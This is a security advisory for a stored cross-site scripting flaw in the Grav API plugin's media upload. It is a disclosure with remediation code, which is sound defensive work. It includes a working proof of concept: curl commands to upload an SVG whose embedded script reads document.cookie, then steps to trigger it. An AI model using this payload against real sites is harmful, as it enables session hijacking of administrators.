Skip to content

Stored XSS via SVG Upload - API Media Pipeline Bypasses Sanitizer

Moderate
rhukster published GHSA-7vhm-8x52-2r5p Jun 24, 2026

Package

composer getgrav/grav-plugin-api (Composer)

Affected versions

<= 1.0.2

Patched versions

1.0.3

Description

Summary

The POST /api/v1/media upload pipeline in HandlesMediaUploads::processUploadedFile() only validates the file extension against uploads_dangerous_extensions - it never calls Security::sanitizeSVG(). As a result, an attacker with api.media.write permission can upload an SVG file containing arbitrary JavaScript. The file is stored unmodified on disk and served with Content-Type: image/svg+xml. When an administrator opens the SVG in a browser (directly, via <object>, or via <iframe>), the embedded <script> executes in the administrator's browser session, enabling cookie theft and session hijacking.


Details

Vulnerable code - user/plugins/api/classes/Api/Controllers/HandlesMediaUploads.php:95-150:

protected function processUploadedFile(
    UploadedFileInterface $file,
    string $targetDir,
    ?UploadFieldSettings $settings = null,
): string {
    // ...error checks, size validation, filename sanitization...

    // Only checks extension — does NOT call Security::sanitizeSVG()
    $this->validateFileExtension($filename);
    $settings?->assertAccepted($filename);

    // Applies random_name / avoid_overwriting if configured
    if ($settings !== null) {
        $filename = $settings->resolveFilename($filename, $targetDir);
    }

    // File is moved to disk WITHOUT any SVG content inspection
    $targetPath = $targetDir . '/' . $filename;
    $file->moveTo($targetPath);   // <-- SVG with <script> lands here untouched

    return $filename;
}

The Security::sanitizeSVG() function exists and is configured ON by default (sanitize_svg: true in system/config/security.yaml). However it is only called from:

  • The Form plugin form processing pipeline
  • The admin page save path
  • Explicit calls from plugins

The API media upload path never invokes it. SVGs uploaded through POST /api/v1/media bypass sanitization entirely.

SVG is served with executable MIME type:

HTTP/1.1 200 OK
Content-Type: image/svg+xml

Browsers render image/svg+xml content as SVG and execute embedded <script> blocks. This is the expected behavior for the MIME type — the defense is supposed to happen at upload time, not at serve time.


Proof of Concept

Step 1 - Obtain JWT token

JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")

Step 2 - Upload malicious SVG

cat > /tmp/xss.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect width="200" height="100" fill="red"/>
  <text x="100" y="55" text-anchor="middle" fill="white" font-size="14">CLICK ME</text>
  <script type="text/javascript">
    alert("SVG XSS: " + document.domain + "\nCookies: " + document.cookie);
  </script>
</svg>
SVGEOF

curl -s http://127.0.0.1/grav/api/v1/media -X POST \
  -H "Authorization: Bearer $JWT" \
  -F "file=@/tmp/xss.svg;filename=poc_xss.svg;type=image/svg+xml"

Response (201 Created):

{
  "data": [{
    "filename": "poc_xss.svg",
    "url": "/user/media/poc_xss.svg",
    "type": "image/svg+xml",
    "size": 354,
    "modified": "2026-06-22T14:37:30+00:00"
  }]
}

Step 3 - Verify script survived upload

curl -s http://127.0.0.1/grav/user/media/poc_xss.svg

Output (script intact, NOT stripped):

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect width="200" height="100" fill="red"/>
  <text x="100" y="55" ...>CLICK ME</text>
  <script type="text/javascript">
    alert("SVG XSS: " + document.domain + "\nCookies: " + document.cookie);
  </script>
</svg>

Step 4 - Trigger XSS

Open the SVG URL in a browser:

http://127.0.0.1/grav/user/media/poc_xss.svg
image image ---

Impact

An authenticated attacker with media upload permissions can store arbitrary JavaScript on the server. When an administrator (or any user with a valid session) opens the SVG URL, the attacker's code executes in the victim's browser context:

  • Session hijacking: Steal admin cookies → impersonate admin
  • Credential phishing: Overlay a fake login form on the SVG page
  • CSRF attacks: Make authenticated API calls from the victim's session
  • Data exfiltration: Read and exfiltrate data visible in the admin panel

Remediation

Add SVG sanitization to the API media upload pipeline. In HandlesMediaUploads::processUploadedFile(), after moveTo(), inspect the file and sanitize if it's an SVG:

// After $file->moveTo($targetPath)
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if ($ext === 'svg') {
    Security::sanitizeSVG($targetPath);
}

Or alternatively, inspect the SVG content before writing:

$clientType = $file->getClientMediaType();
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if ($ext === 'svg' || $clientType === 'image/svg+xml') {
    $tmpPath = $file->getStream()->getMetadata('uri');
    $svgContent = file_get_contents($tmpPath);
    $sanitized = Security::sanitizeSvgString($svgContent);
    if ($sanitized !== $svgContent) {
        file_put_contents($tmpPath, $sanitized);
    }
}

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-61607

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits